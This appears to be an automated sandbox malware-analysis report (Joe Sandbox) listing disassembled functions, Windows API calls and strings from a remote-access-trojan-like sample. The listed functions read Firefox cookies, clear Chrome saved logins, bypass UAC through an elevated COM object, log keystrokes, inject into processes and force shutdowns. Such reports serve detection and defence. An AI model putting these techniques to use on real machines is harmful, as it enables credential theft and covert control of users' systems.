                                                                                                                                                                                                  • Instruction Fuzzy Hash: E0417F3190021AAACB04F7B2DC5A9EE7769AF11704F50057FF506B21E2EF385A458A9D
                                                                                                                                                                                                  Function 0041330D Relevance: 18.2, APIs: 12, Instructions: 153fileCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • CreateFileMappingW.KERNEL32(?,00000000,00000002,00000000,00000000,00000000), ref: 00413452
                                                                                                                                                                                                  • MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 00413460
                                                                                                                                                                                                  • GetFileSize.KERNEL32(?,00000000), ref: 0041346D
                                                                                                                                                                                                  • UnmapViewOfFile.KERNEL32(00000000), ref: 0041348D
                                                                                                                                                                                                  • CloseHandle.KERNEL32(00000000), ref: 0041349A
                                                                                                                                                                                                  • CloseHandle.KERNEL32(?), ref: 004134A0
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: File$CloseHandleView$CreateMappingSizeUnmap
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 297527592-0
                                                                                                                                                                                                  • Opcode ID: f8cfc853885fc8b29f950af92ed283b35790545d66a1b0f015cadf1906342396
                                                                                                                                                                                                  • Instruction ID: 84c8eec30da1abd4ec43dfc3561b6153623c17c5959ee0fa3a13cc5c00e14cc2
                                                                                                                                                                                                  • Opcode Fuzzy Hash: f8cfc853885fc8b29f950af92ed283b35790545d66a1b0f015cadf1906342396
                                                                                                                                                                                                  • Instruction Fuzzy Hash: F041F331104301BBD7119F25EC49F6B3BACEFC9769F10052EF655D21A2DB38DA40866E
                                                                                                                                                                                                  Function 0040F4AF Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 210processCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • GetModuleFileNameW.KERNEL32(00000000,?,00000104,00000000,004750E4,?,00475338), ref: 0040F4C9
                                                                                                                                                                                                  • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0040F4F4
                                                                                                                                                                                                  • Process32FirstW.KERNEL32(00000000,0000022C), ref: 0040F510
                                                                                                                                                                                                  • Process32NextW.KERNEL32(00000000,0000022C), ref: 0040F58F
                                                                                                                                                                                                  • CloseHandle.KERNEL32(00000000), ref: 0040F59E
                                                                                                                                                                                                    • Part of subcall function 0041C26E: OpenProcess.KERNEL32(00001000,00000000,?,00000000,00000000,00000000), ref: 0041C286
                                                                                                                                                                                                    • Part of subcall function 0041C26E: OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,00000000,00000000), ref: 0041C299
                                                                                                                                                                                                  • CloseHandle.KERNEL32(00000000), ref: 0040F6A9
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: CloseHandleOpenProcessProcess32$CreateFileFirstModuleNameNextSnapshotToolhelp32
                                                                                                                                                                                                  • String ID: C:\Program Files(x86)\Internet Explorer\$Inj$ieinstal.exe$ielowutil.exe
                                                                                                                                                                                                  • API String ID: 3756808967-1743721670
                                                                                                                                                                                                  • Opcode ID: 4c1678c020118b3bcda45d43f08c867fc8f180d6921f39041d9cab00d7c74641
                                                                                                                                                                                                  • Instruction ID: 73d50abc618c2a3d6a57d9d5b79267519347fdb4c989691d2635b3abfd1995a7
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 4c1678c020118b3bcda45d43f08c867fc8f180d6921f39041d9cab00d7c74641
                                                                                                                                                                                                  • Instruction Fuzzy Hash: B5712E705083419AC724FB21D8959AEB7E4AF90348F40483FF586631E3EF79994DCB9A
                                                                                                                                                                                                  Function 00419662 Relevance: 17.7, APIs: 1, Strings: 9, Instructions: 206COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                  • String ID: 0$1$2$3$4$5$6$7$VG
                                                                                                                                                                                                  • API String ID: 0-1861860590
                                                                                                                                                                                                  • Opcode ID: 2b7f1c5f9e74514b744c6683ac33cf56b6b25cbe789a3e3722b220038b1ce3bf
                                                                                                                                                                                                  • Instruction ID: 7133b754bba813e7b371628f59950815dc208a5c28e1558ec9b3f3725e93ffbd
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 2b7f1c5f9e74514b744c6683ac33cf56b6b25cbe789a3e3722b220038b1ce3bf
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 9171E2709183019FD704EF21D862BAB7B94DF85710F00492FF5A26B2D1DE78AB49CB96
                                                                                                                                                                                                  Function 00407538 Relevance: 15.8, APIs: 2, Strings: 7, Instructions: 56COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • _wcslen.LIBCMT ref: 0040755C
                                                                                                                                                                                                  • CoGetObject.OLE32(?,00000024,00466528,00000000), ref: 004075BD
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Object_wcslen
                                                                                                                                                                                                  • String ID: $$Elevation:Administrator!new:$[+] CoGetObject$[+] CoGetObject SUCCESS$[+] ucmAllocateElevatedObject$[-] CoGetObject FAILURE${3E5FC7F9-9A51-4367-9063-A120244FBEC7}
                                                                                                                                                                                                  • API String ID: 240030777-3166923314
                                                                                                                                                                                                  • Opcode ID: 117ce5ffae064854f49a167cf2fa86c02e7857af1ac0d1358aae668e1cde24ce
                                                                                                                                                                                                  • Instruction ID: 28daeeabb8f9d0779e909056d36d27ae9c6096be3406941992b1a3e854751cf1
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 117ce5ffae064854f49a167cf2fa86c02e7857af1ac0d1358aae668e1cde24ce
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 88113771D04214B6D710EA959845BDEB77C9B08714F15006FF904B2281EB7CAE448A6F
                                                                                                                                                                                                  Function 0041A7D9 Relevance: 15.2, APIs: 10, Instructions: 228serviceCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • OpenSCManagerA.ADVAPI32(00000000,00000000,00000004,004758E8), ref: 0041A7EF
                                                                                                                                                                                                  • EnumServicesStatusW.ADVAPI32(00000000,0000003B,00000003,?,00000000,?,?,?), ref: 0041A83E
                                                                                                                                                                                                  • GetLastError.KERNEL32 ref: 0041A84C
                                                                                                                                                                                                  • EnumServicesStatusW.ADVAPI32(00000000,0000003B,00000003,00000000,?,?,?,?), ref: 0041A884
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: EnumServicesStatus$ErrorLastManagerOpen
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 3587775597-0
                                                                                                                                                                                                  • Opcode ID: 43b67a718bb517ffd93a938c9ebe81ee5828789c1c870c485cfbeb08b180e584
                                                                                                                                                                                                  • Instruction ID: 52116c85fb856a5ac6c14b0259405ec20ae2fa8d9cc538ef9907a440d1633313
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 43b67a718bb517ffd93a938c9ebe81ee5828789c1c870c485cfbeb08b180e584
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 17817071104301ABC304EF61D885DAFB7A8FF94749F50082EF185521A2EF78EE49CB9A
                                                                                                                                                                                                  Function 00452690 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 188COMMONLIBRARYCODE
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 00448295: GetLastError.KERNEL32(00000020,?,0043A875,?,?,?,0043F9F8,?,?,00000020,00000000,?,?,?,0042DD92,0000003B), ref: 00448299
                                                                                                                                                                                                    • Part of subcall function 00448295: _free.LIBCMT ref: 004482CC
                                                                                                                                                                                                    • Part of subcall function 00448295: SetLastError.KERNEL32(00000000,0043F9F8,?,?,00000020,00000000,?,?,?,0042DD92,0000003B,?,00000041,00000000,00000000), ref: 0044830D
                                                                                                                                                                                                    • Part of subcall function 00448295: _abort.LIBCMT ref: 00448313
                                                                                                                                                                                                    • Part of subcall function 00448295: _free.LIBCMT ref: 004482F4
                                                                                                                                                                                                    • Part of subcall function 00448295: SetLastError.KERNEL32(00000000,0043F9F8,?,?,00000020,00000000,?,?,?,0042DD92,0000003B,?,00000041,00000000,00000000), ref: 00448301
                                                                                                                                                                                                  • GetUserDefaultLCID.KERNEL32(?,?,?), ref: 0045279C
                                                                                                                                                                                                  • IsValidCodePage.KERNEL32(00000000), ref: 004527F7
                                                                                                                                                                                                  • IsValidLocale.KERNEL32(?,00000001), ref: 00452806
                                                                                                                                                                                                  • GetLocaleInfoW.KERNEL32(?,00001001,JD,00000040,?,?,00000055,00000000,?,?,00000055,00000000), ref: 0045284E
                                                                                                                                                                                                  • GetLocaleInfoW.KERNEL32(?,00001002,00000000,00000040), ref: 0045286D
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: ErrorLastLocale$InfoValid_free$CodeDefaultPageUser_abort
                                                                                                                                                                                                  • String ID: JD$JD$JD
                                                                                                                                                                                                  • API String ID: 745075371-3517165026
                                                                                                                                                                                                  • Opcode ID: d20e60e436924f937cd003670a139ed53a354482d02232a94d44678fcfb69b99
                                                                                                                                                                                                  • Instruction ID: 3c84011e7dbdf7a6f9673bc5a23f9f2f22d5020eb6794df094384b3d0215d6fb
                                                                                                                                                                                                  • Opcode Fuzzy Hash: d20e60e436924f937cd003670a139ed53a354482d02232a94d44678fcfb69b99
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 9B518571900205ABDB10DFA5CD45ABF77B8EF0A702F04046BED14E7292E7B89948CB69
                                                                                                                                                                                                  Function 0040C388 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 112fileCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • FindFirstFileW.KERNEL32(00000000,?,\Mozilla\Firefox\Profiles\,00000000), ref: 0040C3D6
                                                                                                                                                                                                  • FindNextFileW.KERNEL32(00000000,?), ref: 0040C4A9
                                                                                                                                                                                                  • FindClose.KERNEL32(00000000), ref: 0040C4B8
                                                                                                                                                                                                  • FindClose.KERNEL32(00000000), ref: 0040C4E3
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Find$CloseFile$FirstNext
                                                                                                                                                                                                  • String ID: AppData$\Mozilla\Firefox\Profiles\$\cookies.sqlite
                                                                                                                                                                                                  • API String ID: 1164774033-405221262
                                                                                                                                                                                                  • Opcode ID: db36566fedf6bac1efbe0509ba0d37d449c306ac76c2810c026643bd9d72ced7
                                                                                                                                                                                                  • Instruction ID: 33618048715e6b2d4a7b39963b1e19558724686ef99070a322097c87c0ca4c0c
                                                                                                                                                                                                  • Opcode Fuzzy Hash: db36566fedf6bac1efbe0509ba0d37d449c306ac76c2810c026643bd9d72ced7
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 59313E31500219AACB14E761DC9A9EE7778AF50719F10057FF106B21E2EF7C9946CA4D
                                                                                                                                                                                                  Function 0041C322 Relevance: 13.6, APIs: 9, Instructions: 106fileCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • FindFirstFileW.KERNEL32(?,?,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C37D
                                                                                                                                                                                                  • FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C3AD
                                                                                                                                                                                                  • SetFileAttributesW.KERNEL32(?,00000080,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C41F
                                                                                                                                                                                                  • DeleteFileW.KERNEL32(?,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C42C
                                                                                                                                                                                                    • Part of subcall function 0041C322: RemoveDirectoryW.KERNEL32(?,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C402
                                                                                                                                                                                                  • GetLastError.KERNEL32(?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C44D
                                                                                                                                                                                                  • FindClose.KERNEL32(00000000,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C463
                                                                                                                                                                                                  • RemoveDirectoryW.KERNEL32(00000000,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C46A
                                                                                                                                                                                                  • FindClose.KERNEL32(00000000,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C473
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: FileFind$CloseDirectoryRemove$AttributesDeleteErrorFirstLastNext
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 2341273852-0
                                                                                                                                                                                                  • Opcode ID: 74fc921fbbcb6c35e60b9a8f4f047a03f237c0767a03969ab094381de9c75e57
                                                                                                                                                                                                  • Instruction ID: 53b23dfad01ba0d5beec27b7c27070a1caf437d6ccbc5233b8522822963bc02e
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 74fc921fbbcb6c35e60b9a8f4f047a03f237c0767a03969ab094381de9c75e57
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 4A31807284431CAADB24E761DC89EEB736CAF09305F0405FBF559D2051EB3DDAC98A58
                                                                                                                                                                                                  Function 00419B86 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 245fileCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • FindFirstFileW.KERNEL32(00000000,?), ref: 00419DDC
                                                                                                                                                                                                  • FindNextFileW.KERNEL32(00000000,?,?), ref: 00419EA8
                                                                                                                                                                                                    • Part of subcall function 0041C516: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000), ref: 0041C52F
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: File$Find$CreateFirstNext
                                                                                                                                                                                                  • String ID: 8SG$PXG$PXG$NG$PG
                                                                                                                                                                                                  • API String ID: 341183262-3812160132
                                                                                                                                                                                                  • Opcode ID: 40fa7239b3237dfb055cc85771799d16202af20ea78bc147239cb3d1728a5c09
                                                                                                                                                                                                  • Instruction ID: 0eaaaed992bec346a468a6d62c1d6888972f0568f5be94e2eef244f320132bd5
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 40fa7239b3237dfb055cc85771799d16202af20ea78bc147239cb3d1728a5c09
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 998151315083415BC314FB22C856EEFB3A9AF90344F90493FF546671E2EF789A49C69A
                                                                                                                                                                                                  Function 0040A41B Relevance: 12.1, APIs: 8, Instructions: 112keyboardthreadCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Unicode$KeyboardStateWindow$ForegroundLayoutProcessThread
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 1888522110-0
                                                                                                                                                                                                  • Opcode ID: 1fbef96bbf5188aadc2f193688702ae07512c2e2bc484e71aa5862d9cec23228
                                                                                                                                                                                                  • Instruction ID: fd17a64e9e4f7f825196359ceba3421c6f582a70c0a4c9d277f8a97da3dc7bda
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 1fbef96bbf5188aadc2f193688702ae07512c2e2bc484e71aa5862d9cec23228
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 1E316D72504308BFD700DF90DC45F9B7BECBB88744F00083AB645D61A0D7B5E9498BA6
                                                                                                                                                                                                  Function 00414005 Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 382registrylibraryloaderCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • RegCreateKeyExW.ADVAPI32(00000000), ref: 004140D8
                                                                                                                                                                                                  • RegCloseKey.ADVAPI32(?), ref: 004140E4
                                                                                                                                                                                                    • Part of subcall function 00404AA1: send.WS2_32(FFFFFFFF,00000000,00000000,00000000), ref: 00404B36
                                                                                                                                                                                                  • LoadLibraryA.KERNEL32(Shlwapi.dll), ref: 004142A5
                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000), ref: 004142AC
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: AddressCloseCreateLibraryLoadProcsend
                                                                                                                                                                                                  • String ID: SHDeleteKeyW$Shlwapi.dll
                                                                                                                                                                                                  • API String ID: 2127411465-314212984
                                                                                                                                                                                                  • Opcode ID: 7f2253bbc9ce1f489d9c118561a2b69e67c21a917a6a4f7b5260bffe0e9a16f4
                                                                                                                                                                                                  • Instruction ID: 51cedef5a77654bf04fe1bae55708f30d4330cefe0c145b830acf249c6506b6e
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 7f2253bbc9ce1f489d9c118561a2b69e67c21a917a6a4f7b5260bffe0e9a16f4
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 16B1F671A0430066CA14FB76DC579AF36A85F91788F40053FB906771E2EE7D8A48C6DA
                                                                                                                                                                                                  Function 00449210 Relevance: 10.9, APIs: 7, Instructions: 370timeCOMMONLIBRARYCODE
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • _free.LIBCMT ref: 00449292
                                                                                                                                                                                                  • _free.LIBCMT ref: 004492B6
                                                                                                                                                                                                  • _free.LIBCMT ref: 0044943D
                                                                                                                                                                                                  • GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,0045F244), ref: 0044944F
                                                                                                                                                                                                  • WideCharToMultiByte.KERNEL32(00000000,00000000,00472764,000000FF,00000000,0000003F,00000000,?,?), ref: 004494C7
                                                                                                                                                                                                  • WideCharToMultiByte.KERNEL32(00000000,00000000,004727B8,000000FF,?,0000003F,00000000,?), ref: 004494F4
                                                                                                                                                                                                  • _free.LIBCMT ref: 00449609
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: _free$ByteCharMultiWide$InformationTimeZone
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 314583886-0
                                                                                                                                                                                                  • Opcode ID: 559000fade000ce5825261073cc708c78a0cec13cca3e850b0f4d44e63821d59
                                                                                                                                                                                                  • Instruction ID: 020e1479f4dc59d8c1013f8997fe2690be381d41ecad25fd3e4808fcef6bdafa
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 559000fade000ce5825261073cc708c78a0cec13cca3e850b0f4d44e63821d59
                                                                                                                                                                                                  • Instruction Fuzzy Hash: E0C13A71900205ABFB24DF79CD41AAF7BA8EF46314F2405AFE884D7291E7788D42D758
                                                                                                                                                                                                  Function 004167EF Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 97libraryloadershutdownCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 0041798D: GetCurrentProcess.KERNEL32(00000028,?), ref: 0041799A
                                                                                                                                                                                                    • Part of subcall function 0041798D: OpenProcessToken.ADVAPI32(00000000), ref: 004179A1
                                                                                                                                                                                                    • Part of subcall function 0041798D: LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 004179B3
                                                                                                                                                                                                    • Part of subcall function 0041798D: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 004179D2
                                                                                                                                                                                                    • Part of subcall function 0041798D: GetLastError.KERNEL32 ref: 004179D8
                                                                                                                                                                                                  • ExitWindowsEx.USER32(00000000,00000001), ref: 00416891
                                                                                                                                                                                                  • LoadLibraryA.KERNEL32(PowrProf.dll), ref: 004168A6
                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000), ref: 004168AD
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: ProcessToken$AddressAdjustCurrentErrorExitLastLibraryLoadLookupOpenPrivilegePrivilegesProcValueWindows
                                                                                                                                                                                                  • String ID: !D@$PowrProf.dll$SetSuspendState
                                                                                                                                                                                                  • API String ID: 1589313981-2876530381
                                                                                                                                                                                                  • Opcode ID: 8a62792aef7cc7d5af05d35e91714c9c7222b42edbd342514d80bf55c44c9374
                                                                                                                                                                                                  • Instruction ID: 272f3f60014ab8f8f2fa2781f50e1ac7d9ab3f628c5d0f86ef79d7992e461550
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 8a62792aef7cc7d5af05d35e91714c9c7222b42edbd342514d80bf55c44c9374
                                                                                                                                                                                                  • Instruction Fuzzy Hash: D821B17060430166CA14FBB28856ABF36599F41388F41087FB501671D2EF3DD845C76E
                                                                                                                                                                                                  Function 0040BA4D Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 49fileCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • DeleteFileA.KERNEL32(00000000,\AppData\Local\Google\Chrome\User Data\Default\Login Data), ref: 0040BA89
                                                                                                                                                                                                  • GetLastError.KERNEL32 ref: 0040BA93
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  • \AppData\Local\Google\Chrome\User Data\Default\Login Data, xrefs: 0040BA54
                                                                                                                                                                                                  • UserProfile, xrefs: 0040BA59
                                                                                                                                                                                                  • [Chrome StoredLogins found, cleared!], xrefs: 0040BAB9
                                                                                                                                                                                                  • [Chrome StoredLogins not found], xrefs: 0040BAAD
